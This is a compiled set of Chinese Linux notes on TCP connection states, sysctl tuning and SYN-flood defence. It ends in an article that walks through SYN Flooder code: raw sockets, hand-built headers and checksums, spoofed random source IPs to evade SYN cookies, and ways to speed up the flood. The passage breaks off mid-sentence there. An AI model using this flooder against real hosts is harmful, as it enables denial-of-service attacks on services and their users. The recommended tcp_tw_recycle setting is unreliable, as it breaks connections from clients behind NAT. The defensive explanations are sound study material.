原因:最可能的原因是httpd.conf裡面keepalive沒有開,導致每次請求都要建立新的tcp連線,請求完成以後關閉,增加了很多 time_wait的狀態。另,keepalive可能會增加一部分記憶體的開銷,但是問題不大。也有一些文章討論到了sysctl裡面一些引數的設定可以改善這個問題,但是這就捨本逐末了。

2。fin_wait1狀態過多。fin_wait1狀態是在server端主動要求關閉tcp連線,並且主動傳送fin以後,等待client端回覆ack時候的狀態。fin_wait1的產生原因有很多,需要結合netstat的狀態來分析。

netstat -nat|awk '{print awk $NF}'|sort|uniq -c|sort -n

上面的命令可以幫助分析哪種tcp狀態數量異常

netstat -nat|grep ":80"|awk '{print $5}' |awk -F: '{print $1}' | sort| uniq -c|sort -n 則可以幫助你將請求80服務的client ip按照連線數排序。

回到fin_wait1這個話題,如果發現fin_wait1狀態很多,並且client ip分佈正常,那可能是有人用肉雞進行ddos攻擊、又或者最近的程式改動引起了問題。一般說來後者可能性更大,應該主動聯絡程式設計師解決。

但是如果有某個ip連線數非常多,就值得注意了,可以考慮用iptables直接封了他。

在Linux下檢視Apache的負載情況,以前也說過,最簡單有有效的方式就是檢視Apache Server Status(如何開啟Apache Server Status點這裡),在沒有開啟Apache Server Status的情況下,或安裝的是其他的Web Server,比如Nginx的時候,下面的命令就體現出作用了。

ps -ef|grep httpd|wc -l命令 #ps -ef|grep httpd|wc -l 1388 統計httpd程序數,連個請求會啟動一個程序,使用於Apache伺服器。 表示Apache能夠處理1388個併發請求,這個值Apache可根據負載情況自動調整,我這組伺服器中每臺的峰值曾達到過2002。

netstat -nat|grep -i "80"|wc -l命令 #netstat -nat|grep -i "80"|wc -l 4341 netstat -an會列印系統當前網路連結狀態,而grep -i “80″是用來提取與80埠有關的連線的, wc -l進行連線數統計。 最終返回的數字就是當前所有80埠的請求總數。

netstat -na|grep ESTABLISHED|wc -l命令 #netstat -na|grep ESTABLISHED|wc -l 376 netstat -an會列印系統當前網路連結狀態,而grep ESTABLISHED 提取出已建立連線的資訊。 然後wc -l統計。 最終返回的數字就是當前所有80埠的已建立連線的總數。

netstat -n | awk '/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}'命令 #netstat -n | awk '/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}' FIN_WAIT_1 286 FIN_WAIT_2 960 SYN_SENT 3 LAST_ACK 32 CLOSING 1 CLOSED 36 SYN_RCVD 144 TIME_WAIT 2520 ESTABLISHED 352 這條語句是在張宴那邊看到,據說是從新浪互動社群事業部技術總監王老大那兒獲得的,非常不錯。返回引數的說明如下: SYN_RECV表示正在等待處理的請求數; ESTABLISHED表示正常資料傳輸狀態; TIME_WAIT表示處理完畢,等待超時結束的請求數。

Tag: 調優效能優化 kimi at 2008-09-01 03:01:08 in ApacheLinux

解決linux下大量的time_wait問題

vi /etc/sysctl.conf 編輯/etc/sysctl.conf檔案,增加三行:

引用

net.ipv4.tcp_fin_timeout = 30 net.ipv4.tcp_keepalive_time = 1200 net.ipv4.tcp_syncookies = 1 net.ipv4.tcp_tw_reuse = 1 net.ipv4.tcp_tw_recycle = 1 net.ipv4.ip_local_port_range = 1024    65000 net.ipv4.tcp_max_syn_backlog = 8192 net.ipv4.tcp_max_tw_buckets = 5000  net.ipv4.route.gc_timeout = 100  net.ipv4.tcp_syn_retries = 1  net.ipv4.tcp_synack_retries = 1

說明: net.ipv4.tcp_syncookies = 1 表示開啟SYN Cookies。當出現SYN等待佇列溢位時,啟用cookies來處理,可防範少量SYN攻擊,預設為0,表示關閉; net.ipv4.tcp_tw_reuse = 1 表示開啟重用。允許將TIME-WAIT sockets重新用於新的TCP連線,預設為0,表示關閉; net.ipv4.tcp_tw_recycle = 1 表示開啟TCP連線中TIME-WAIT sockets的快速回收,預設為0,表示關閉。 再執行以下命令,讓修改結果立即生效:

引用  /sbin/sysctl -p

用以下語句看了一下伺服器的TCP狀態:

引用  netstat -n | awk '/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}' 返回結果如下: ESTABLISHED 1423 FIN_WAIT1 1 FIN_WAIT2 262 SYN_SENT 1 TIME_WAIT 962 效果:處於TIME_WAIT狀態的sockets從原來的10000多減少到1000左右。處於SYN_RECV等待處理狀態的sockets為0,原來的為50~300。

通過上面的設定以後,你可能會發現一個新的問題,就是netstat時可能會出現這樣的警告:

引用  warning, got duplicate tcp line 這正是上面允許tcp複用產生的警告,不過這不算是什麼問題,總比不允許複用而給伺服器帶來很大的負載合算的多

儘管如此,還是有解決辦法的: 1、 安裝rpm包: [[email protected] opt]# rpm -Uvh net-tools-1.60-62.1.x86_64.rpm  Preparing...                ########################################### [100%]   1:net-tools              ########################################### [100%] [[email protected] opt]#

對於下載的是原始碼的rpm則需要使用以下方法安裝:

2、 安裝rpm原始碼包方法: a)         安裝src.rpm: # [[email protected] opt]# rpm -i net-tools-1.60-62.1.src.rpm …… b)        製作rpm安裝包: [[email protected] opt]# cd /usr/src/redhat/SPECS/ [[email protected] SPECS]# rpmbuild -bb net-tools.spec c)        rpm包的升級安裝: [[email protected] SPECS]# pwd /usr/src/redhat/SPECS [[email protected] SPECS]# cd ../RPMS/x86_64/ [[email protected] x86_64]# rpm -Uvh net-tools-1.60-62.1.x86_64.rpm

3、 再使用netstat來檢查時系統正常:  說明:   net.ipv4.tcp_syncookies = 1 表示開啟SYN Cookies。當出現SYN等待佇列溢位時,啟用cookies來處理,可防範少量SYN攻擊,預設為0,表示關閉;   net.ipv4.tcp_tw_reuse = 1 表示開啟重用。允許將TIME-WAIT sockets重新用於新的TCP連線,預設為0,表示關閉;   net.ipv4.tcp_tw_recycle = 1 表示開啟TCP連線中TIME-WAIT sockets的快速回收,預設為0,表示關閉。   net.ipv4.tcp_fin_timeout = 30 表示如果套接字由本端要求關閉,這個引數決定了它保持在FIN-WAIT-2狀態的時間。   net.ipv4.tcp_keepalive_time = 1200 表示當keepalive起用的時候,TCP傳送keepalive訊息的頻度。預設是2小時,改為20分鐘。   net.ipv4.ip_local_port_range = 1024    65000 表示用於向外連線的埠範圍。預設情況下很小:32768到61000,改為1024到65000。   net.ipv4.tcp_max_syn_backlog = 8192 表示SYN佇列的長度,預設為1024,加大佇列長度為8192,可以容納更多等待連線的網路連線數。    net.ipv4.tcp_max_tw_buckets = 5000 表示系統同時保持TIME_WAIT套接字的最大數量,如果超過這個數字,TIME_WAIT套接字將立刻被清除並列印警告資訊。預設為180000,改為5000。對於Apache、Nginx等伺服器,上幾行的引數可以很好地減少TIME_WAIT套接字數量,但是對於Squid,效果卻不大。此項引數可以控制TIME_WAIT套接字的最大數量,避免Squid伺服器被大量的TIME_WAIT套接字拖死。    net.ipv4.route.gc_timeout = 100  路由快取重新整理頻率, 當一個路由失敗後多長時間跳到另一個 預設是300    net.ipv4.tcp_syn_retries = 1  對於一個新建連線,核心要傳送多少個 SYN 連線請求才決定放棄。不應該大於255,預設值是5,對應於180秒左右。  netstat -n | awk '/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}'

http://www.itokit.com/2011/0509/66080.html

一:介紹SYN  二:什麼是SYN洪水攻擊  三:什麼是SYN cookie  四:什麼是SYN cookie防火牆  C=client(客戶器)  S=Server(伺服器)  FW=Firewall(防火牆)  一:介紹SYN  SYN cookie是一個防止SYN洪水攻擊技術。他由D. J. Bernstein和Eric Schenk發明。現在SYN COOKIE已經是linux核心的一部分了(我插一句,預設的stat是no),但是在linux系統的執行過程中它只保護linux系統。我們這裡只是說建立一個linux防火牆,他可以為整個網路和所有的網路作業系統提供SYN COOKIE保護你可以用這個防火牆來阻斷半開放式tcp連線,所以這個受保護的系統不會進入半開放狀態(TCP_SYN_RECV)。當連線完全建立的時候,客戶機到伺服器的連線要通過防火牆來中轉完成。

二:什麼是SYN洪水攻擊?(來自CERT的警告)  當一個系統(我們叫他客戶端)嘗試和一個提供了服務的系統(伺服器)建立TCP連線,C和服務端會交換一系列報文。  這種連線技術廣泛的應用在各種TCP連線中,例如telnet,Web,email,等等。  首先是C傳送一個SYN報文給服務端,然後這個服務端傳送一個SYN-ACK包以迴應C,接著,C就返回一個ACK包來實現一次完整的TCP連線。就這樣,C到服務端的連線就建立了,這時C和服務端就可以互相交換資料了。下面是上文的圖片說明:)  Client Server  ------ ------  SYN-------------------->

<--------------------SYN-ACK

ACK-------------------->

Client and server can now  send service-specific data

在S返回一個確認的SYN-ACK包的時候有個潛在的弊端,他可能不會接到C迴應的ACK包。這個也就是所謂的半開放連線,S需要耗費一定的數量的系統記憶體來等待這個未決的連線,雖然這個數量是受限的,但是惡意者可以通過建立很多的半開放式連線來發動SYN洪水攻擊 。  通過ip欺騙可以很容易的實現半開放連線。攻擊者傳送SYN包給受害者系統,這個看起來是合法的,但事實上所謂的C根本不會迴應這個 。  SYN-ACK報文,這意味著受害者將永遠不會接到ACK報文。  而此時,半開放連線將最終耗用受害者所有的系統資源,受害者將不能再接收任何其他的請求。通常等待ACK返回包有超時限制,所以半開放 。

連線將最終超時,而受害者系統也會自動修復。雖然這樣,但是在受害者系統修復之前,攻擊者可以很容易的一直髮送虛假的SYN請求包來持續攻擊。  在大多數情況下,受害者幾乎不能接受任何其他的請求,但是這種攻擊不會影響到已經存在的進站或者是出站連線。雖然這樣,受害者系統還是可能耗盡系統資源,以導致其他種種問題。  攻擊系統的位置幾乎是不可確認的,因為SYN包中的源地址多數都是虛假的。當SYN包到達受害者系統的時候,沒有辦法找到他的真實地址,因為在基於源地址的資料包傳輸中,源ip過濾是唯一可以驗證資料包源的方法。

三:什麼是SYN cookie?  SYN cookie就是用一個cookie來響應TCP SYN請求的TCP實現,根據上面的描述,在正常的TCP實現中,當S接收到一個SYN資料包,他返回一個SYN-ACK包來應答,然後進入TCP-SYN-RECV(半開放連線)狀態來等待最後返回的ACK包。S用一個數據空間來描述所有未決的連線,然而這個資料空間的大小是有限的,所以攻擊者將塞滿這個空間。  在TCP SYN COOKIE的執行過程中,當S接收到一個SYN包的時候,他返回一個SYN-ACK包,這個資料包的ACK序列號是經過加密的,也就是說,它由源地址,埠源次序,目標地址,目標埠和一個加密種子計算得出。然後S釋放所有的狀態。如果一個ACK包從C返回,S將重新計算它來判斷它是不是上個SYN-ACK的返回包。如果這樣,S就可以直接進入TCP連線狀態並開啟連線。這樣,S就可以避免守侯半開放連線了。  以上只是SYN COOKIE的基本思路,它在應用過程中仍然有許多技巧。請在前幾年的kernel郵件列表檢視archive of discussions的相關詳細內容。

4,什麼是SYN COOKIE 防火牆  SYN COOKIE 防火牆是SYN cookie的一個擴充套件,SYN cookie是建立在TCP堆疊上的,他為linux作業系統提供保護。SYN cookie防火牆是linux的一大特色,你可以使用一個防火牆來保護你的網路以避免遭受SYN洪水攻擊。  下面是SYN cookie防火牆的原理  client firewall server  ------ ---------- ------  1. SYN----------- - - - - - - - - - ->  2. <------------SYN-ACK(cookie)  3. ACK----------- - - - - - - - - - ->  4. - - - - - - -SYN--------------->  5. <- - - - - - - - - ------------SYN-ACK  6. - - - - - - -ACK--------------->

7. -----------> relay the ------->  <----------- connection <-------  1:一個SYN包從C傳送到S  2:防火牆在這裡扮演了S的角色來回應一個帶SYN cookie的SYN-ACK包給C  3:C傳送ACK包,接著防火牆和C的連線就建立了。  4:防火牆這個時候扮演C的角色傳送一個SYN給S  5:S返回一個SYN給C  6:防火牆扮演C傳送一個ACK確認包給S,這個時候防火牆和S的連線也就建立了  7:防火牆轉發C和S間的資料  如果系統遭受SYN Flood,那麼第三步就不會有,而且無論在防火牆還是S都不會收到相應在第一步的SYN包,所以我們就擊退了這次SYN洪水攻擊。

http://www.study-area.org/tips/syn_flood.htm

SYN Flood 攻擊的基本原理及防禦

作者﹕shotgun

第一部分 SYN Flood的基本原理

SYN Flood是當前最流行的DoS(拒絕服務攻擊)與DDoS(分散式拒絕服務攻擊)的方式之
一,這是一種利用TCP協議缺陷,傳送大量偽造的TCP連線請求,從而使得被攻擊方資源耗
盡(CPU滿負荷或記憶體不足)的攻擊方式。

要明白這種攻擊的基本原理,還是要從TCP連線建立的過程開始說起:

大家都知道,TCP與UDP不同,它是基於連線的,也就是說:為了在服務端和使用者端之間傳
送TCP資料,必須先建立一個虛擬電路,也就是TCP連線,建立TCP連線的標準過程是這樣的
:

首先,請求端(使用者端)傳送一個包含SYN標誌的TCP報文,SYN即同步(Synchronize),
同步報文會指明使用者端使用的埠以及TCP連線的初始序號;

第二步,伺服器在收到使用者端的SYN報文後,將返回一個SYN+ACK的報文,表示使用者端的請
求被接受,同時TCP序號被加一,ACK即確認(Acknowledgement)。

第三步,使用者端也返回一個確認報文ACK給伺服器端,同樣TCP序列號被加一,到此一個TCP
連線完成。

以上的連線過程在TCP協議中被稱為三次握手(Three-way Handshake)。

問題就出在TCP連線的三次握手中,假設一個使用者向伺服器發送了SYN報文後突然宕機或掉
線,那麼伺服器在發出SYN+ACK應答報文後是無法收到使用者端的ACK報文的(第三次握手無
法完成),這種情況下伺服器端一般會重試(再次傳送SYN+ACK給使用者端)並等待一段時
間後丟棄這個未完成的連線,這段時間的長度我們稱為SYN Timeout,一般來說這個時間
是分鐘的數量級(大約為30秒-2分鐘);一個使用者出現異常導致伺服器的一個執行緒等待1
分鐘並不是什麼很大的問題,但如果有一個惡意的攻擊者大量類比這種情況,伺服器端將
為了維護一個非常大的半連線列表而消耗非常多的資源----
數以萬計的半連線,即使是簡單的儲存並遍曆也會消耗非常多的CPU時間和記憶體
,何況還要不斷對這個列表中的IP進行SYN+ACK的重試。實際上如果伺服器的TCP/IP棧不
夠強大,最後的結果往往是堆疊溢位崩潰---即使伺服器端的系統足夠強大,伺服器端也
將忙於處理攻擊者偽造的TCP連線請求而無暇理睬客戶的正常請求(畢竟使用者端的正常請
求比率非常之小),此時從正常客戶的角度看來,伺服器失去響應,這種情況我們稱作:
伺服器端受到了SYN Flood攻擊(SYN洪水攻擊)。

從防禦角度來說,有幾種簡單的解決方法,第一種是縮短SYN Timeout時間,由於SYN
Flood攻擊的效果取決於伺服器上保持的SYN半連線數,這個值=SYN攻擊的頻度 x SYN
Timeout,所以通過縮短從接收到SYN報文到確定這個報文無效並丟棄改連線的時間,例如
設定為20秒以下(過低的SYN Timeout設定可能會影響客戶的正常訪問),可以成倍的降
低伺服器的負荷。

第二種方法是設定SYN Cookie,就是給每一個請求連線的IP位址分配一個Cookie,如果短
時間內連續受到某個IP的重複SYN報文,就認定是受到了攻擊,以後從這個IP地址來的包
會被一概丟棄。

可是上述的兩種方法只能對付比較原始的SYN Flood攻擊,縮短SYN Timeout時間僅在對方
攻擊頻度不高的情況下生效,SYN Cookie更依賴於對方使用真實的IP位址,如果攻擊者以
數萬/秒的速度傳送SYN報文,同時利用SOCK_RAW隨機改寫IP報文中的源位址,以上的方法
將毫無用武之地。


第二部份 SYN Flooder原始碼解讀

下面我們來分析SYN Flooder的程式實現。

首先,我們來看一下TCP報文的格式:

0 1 2 3 4 5 6
0 2 4 6 8 0 2 4 6 8 0 2 4 6 8 0 2 4 6 8 0 2 4 6 8 0 2 4 6 8 0 2 4
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| IP首部 | TCP首部 | TCP資料段   |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

圖一 TCP報文結構

如上圖所示,一個TCP報文由三個部分構成:20位元組的IP首部、20位元組的TCP首部與不
定長的資料段,(實際操作時可能會有可選的IP選項,這種情況下TCP首部向後順延)由
於我們只是傳送一個SYN訊號,並不傳遞任何資料,所以TCP資料段為空。TCP首部的資料
結構為:


0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-

| 十六位源埠號 | 十六位元目標埠號 |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-

| 三十二位序列號 |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-

| 三十二位確認號 |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-

| 四位 | |U|A|P|R|S|F| |

| 首部 |六位保留位元 |R|C|S|S|Y|I| 十六位元視窗大小 |

| 長度 | |G|K|H|T|N|N| |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-

| 十六位校驗和 | 十六位緊急指標 |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-

| 選項(若有) |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-

| 資料(若有) |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-

圖二 TCP首部結構


根據TCP報文格式,我們定義一個結構TCP_HEADER用來存放TCP首部:

typedef struct _tcphdr

{

USHORT th_sport; //16位源埠

USHORT th_dport; //16位元目的埠

unsigned int th_seq; //32位序列號

unsigned int th_ack; //32位確認號

unsigned char th_lenres; //4位首部長度+6位保留字中的4位

unsigned char th_flag; //2位元保留字+6位元標誌位元

USHORT th_win; //16位元視窗大小

USHORT th_sum; //16位校驗和

USHORT th_urp; //16位元緊急資料偏移量

}TCP_HEADER;

通過以正確的資料填充這個結構並將TCP_HEADER.th_flag賦值為2(二進位的00000010)
我們能製造一個SYN的TCP報文,通過大量傳送這個報文可以實現SYN Flood的效果。但是
為了進行IP欺騙從而隱藏自己,也為了躲避伺服器的SYN Cookie檢查,還需要直接對IP首
部進行操作:

0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-

| 版本 | 長度 | 八位服務型別| 十六位總長度 |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-

| 十六位元標識 | 標誌| 十三位元片偏移   |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-

| 八位元生存時間 | 八位元協議 | 十六位元首部校驗和|

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| 三十二位源IP地址 |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| 三十二位元目的IP位址 |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| 選項(若有) |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

|   資料   |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

圖三 IP首部結構

同樣定義一個IP_HEADER來存放IP首部

typedef struct _iphdr

{

unsigned char h_verlen; //4位首部長度+4位IP版本號

unsigned char tos; //8位服務型別TOS

unsigned short total_len; //16位元總長度(位元組)

unsigned short ident; //16位元標識

unsigned short frag_and_flags; //3位元標誌位元

unsigned char ttl; //8位生存時間 TTL

unsigned char proto; //8位元協議號(TCP, UDP 或其他)

unsigned short checksum; //16位IP首部校驗和

unsigned int sourceIP; //32位源IP地址

unsigned int destIP; //32位元目的IP位址

}IP_HEADER;

然後通過SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_
OVERLAPPED));

建立一個原始套介面,由於我們的IP源位址是偽造的,所以不能指望系統幫我們計算IP校
驗和,我們得在在setsockopt中設定IP_HDRINCL告訴系統自己填充IP首部並自己計算校驗和
:

flag=TRUE;

setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));

IP校驗和的計算方法是:首先將IP首部的校驗和欄位設為0(IP_HEADER.checksum=0),然
後計算整個IP首部(包括選項)的二進位反碼的和,一個標準的校驗和函式如下所示:

USHORT checksum(USHORT *buffer, int size)

{

unsigned long cksum=0;

while(size >1) {

cksum+=*buffer++;

size -=sizeof(USHORT);

}

if(size ) cksum += *(UCHAR*)buffer;

cksum = (cksum >> 16) + (cksum & 0xffff);

cksum += (cksum >>16);

return (USHORT)(~cksum);

}

這個函式並沒有經過任何的優化,由於校驗和函式是TCP/IP協定中被呼叫最多函式之一,
所以一般說來,在實現TCP/IP棧時,會根據作業系統對校驗和函式進行優化。

TCP首部核對總和與IP首部校驗和的計算方法相同,在程式中使用同一個函式來計算。

需要注意的是,由於TCP首部中不包含源位址與目標位址等資訊,為了保證TCP校驗的有效
性,在進行TCP校驗和的計算時,需要增加一個TCP偽首部的校驗和,定義如下:

struct

{

unsigned long saddr; //源地址

unsigned long daddr; //目的地址

char mbz; //置空

char ptcl; //協議型別

unsigned short tcpl; //TCP長度

}psd_header;

然後我們將這兩個欄位複製到同一個緩衝區SendBuf中並計算TCP校驗和:

memcpy(SendBuf,&psd_header,sizeof(psd_header));

memcpy(SendBuf+sizeof(psd_header),&tcp_header,sizeof(tcp_header));

tcp_header.th_sum=checksum((USHORT *)SendBuf,sizeof(psd_header)+sizeof(tcp_
header));

計算IP校驗和的時候不需要包括TCP偽首部:

memcpy(SendBuf,&ip_header,sizeof(ip_header));

memcpy(SendBuf+sizeof(ip_header),&tcp_header,sizeof(tcp_header));

ip_header.checksum=checksum((USHORT *)SendBuf, sizeof(ip_header)+sizeof(tcp_
header));

再將計算過校驗和的IP首部與TCP首部複製到同一個緩衝區中就可以直接發送了:

memcpy(SendBuf,&ip_header,sizeof(ip_header));

sendto(SockRaw,SendBuf,datasize,0,(struct sockaddr*)
&DestAddr,sizeof(DestAddr));

因為整個TCP報文中的所有部分都是我們自己寫入的(作業系統不會做任何干涉),所以
我們可以在IP首部中放置隨機的源IP地址,如果偽造的源IP位址確實有人使用,他在接收
到伺服器的SYN+ACK報文後會傳送一個RST報文(標誌位元為00000100),通知伺服器端不
需要等待一個無效的連線,可是如果這個偽造IP並沒有繫結在任何的主機上,不會有任何
裝置去通知主機該連線是無效的(這正是TCP協定的缺陷),主機將不斷重試直到SYN
Timeout時間後才能丟棄這個無效的半連線。所以當攻擊者使用主機分佈很稀疏的IP位址
段進行偽裝IP的SYN Flood攻擊時,伺服器主機承受的負荷會相當的高,
根據測試,一臺PIII 550MHz+128MB+100Mbps的機器使用經過初步優化的 SYN Flooder程式
可以以16,000包/秒的速度傳送TCP SYN報文,這樣的攻擊力已經足以拖垮大部分WEB伺服器
了。

稍微動動腦筋我們就會發現,想對SYN Flooder程式進行優化是很簡單的,從程式構架來
看,攻擊時迴圈內的程式碼主要是進行校驗和計算與緩衝區的填充,一般的思路是提高校驗
和計算的速度,我甚至見過用彙編程式碼編寫的校驗和函式,實際上,有另外一個變通的方
法可以輕鬆實現優化而又不需要高深的程式設計技巧和數學知識,(老實說吧,我數學比較差
:P),我們仔細研究了兩個不同源地址的TCP SYN報文後發現,兩個報文的大部分欄位相
同(比如目的地址、協議等等),只有源位址和校驗和不同(如果為了隱蔽,源埠也可以
有變化,但是並不影響我們演演算法優化的思路),如果我們事先計算好大量的源位址與校驗
和的對應關係表(如果其他的欄位有變